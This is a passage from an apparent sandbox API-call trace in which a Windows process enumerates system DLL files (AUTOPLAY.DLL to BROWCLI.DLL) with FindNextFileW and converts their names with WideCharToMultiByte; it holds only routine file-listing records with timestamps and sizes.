lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0xa9c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0xa9c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0xa9c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.934] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0136.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.935] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.935] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.935] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.935] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0xa9c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0136.935] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.935] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0xa9c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0136.935] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0136.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.936] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.936] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.936] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.936] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.936] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.936] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 